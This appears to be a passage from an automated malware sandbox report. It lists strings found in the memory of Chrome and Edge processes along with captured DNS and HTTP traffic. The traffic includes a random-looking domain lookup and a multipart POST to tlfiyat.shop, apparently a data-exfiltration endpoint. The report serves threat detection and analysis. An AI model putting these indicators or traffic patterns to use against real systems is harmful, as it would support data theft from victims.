Source: chrome.exe, 00000013.00000003.2736084867.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2736169387.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2736237918.0000203400454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000013.00000002.2827197419.0000203401B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000003.2767897495.0000203401B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2827261354.0000203401B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca= 4 equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000003.2767897495.0000203401B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2827261354.0000203401B98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2767988556.0000203401B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819353678.0000203400C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2820323001.0000203400D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826886665.0000203401B1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2826886665.0000203401B1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2820504438.0000203400D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/ 4 equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2820504438.0000203400D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: OMTkTMNzXANwD.OMTkTMNzXANwD
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: tlfiyat.shop
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: r.msftstatic.com

Source: unknown	DoH DNS queries detected: name: sb.scorecardresearch.com
Source: unknown	DoH DNS queries detected: name: sb.scorecardresearch.com
Source: unknown	DoH DNS queries detected: name: r.msftstatic.com
Source: unknown	DoH DNS queries detected: name: r.msftstatic.com
Source: unknown	DoH DNS queries detected: name: r.msftstatic.com
Source: unknown	DoH DNS queries detected: name: r.msftstatic.com
Source: unknown	DoH DNS queries detected: name: browser.events.data.msn.com
Source: unknown	DoH DNS queries detected: name: browser.events.data.msn.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----iw479riw47g4e3w4eu37User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: tlfiyat.shopContent-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: application/json; charset=utf-8Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated,DDD-TMPL-Removed,deviceFeatures,Server-Timing,DDD-LocationAssignedAccess-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated,DDD-TMPL-Removed,deviceFeatures,Server-Timing,DDD-LocationAssignedDDD-AuthenticatedWithJwtFlow: FalseDDD-UserType: AnonymousMuidDDD-StrategyExecutionLatency: 00:00:00.0017423,00:00:00.0018885DDD-ActivityId: 812adf43-b823-4d90-b532-fff661a0f346DDD-TMPL-Removed: FalseDDD-DebugId: 812adf43-b823-4d90-b532-fff661a0f346|2025-01-23T19:40:18.8651661Z|fabric_msn|EUS2-A|News_98DDD-Auth-Features: AT:NA;DID:m-36CB6A348F62672B3E3A7F498E00663A;IT:App;MuidStateOrigin:MuidFromCookieOneWebServiceLatency: 3X-MSEdge-ResponseInfo: 3Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAX-Ceto-ref: 67929b226a6b4776a3e449b3949009ed|AFD:67929b226a6b4776a3e449b3949009ed|2025-01-23T19:40:18.859ZX-MSEdge-Ref: Ref A: 57804B6D80F348E494FD0A6AC8A6D557 Ref B: BL2AA2030103007 Ref C: 2025-01-23T19:40:18ZExpires: Thu, 23 Jan 2025 19:40:18 GMTDate: Thu, 23 Jan 2025 19:40:18 GMTContent-Length: 88Connection: closeSet-Cookie: _C_ETH=1; expires=Wed, 22 Jan 2025 19:40:18 GMT; domain=.msn.com; path=/; secure; httponlySet-Cookie: _C_Auth=Set-Cookie: MUIDB=36CB6A348F62672B3E3A7F498E00663A; expires=Tue, 17 Feb 2026 19:40:18 GMT; path=/; httponlySet-Cookie: _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; domain=.msn.com; path=/; httponlyAlt-Svc: h3=":443"; ma=86400Akamai-Request-BC: [a=23.200.89.146,b=7790077,c=g,n=US_NJ_SECAUCUS,o=20940],[a=131.253.33.203,c=o]

Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818725480.0000203400AD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078ernt
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452er4
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818725480.0000203400AD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816414698.0000203400718000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816414698.0000203400718000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551tch
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816414698.0000203400718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2881391988.00004D94025A0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375er
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815788493.000020340067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
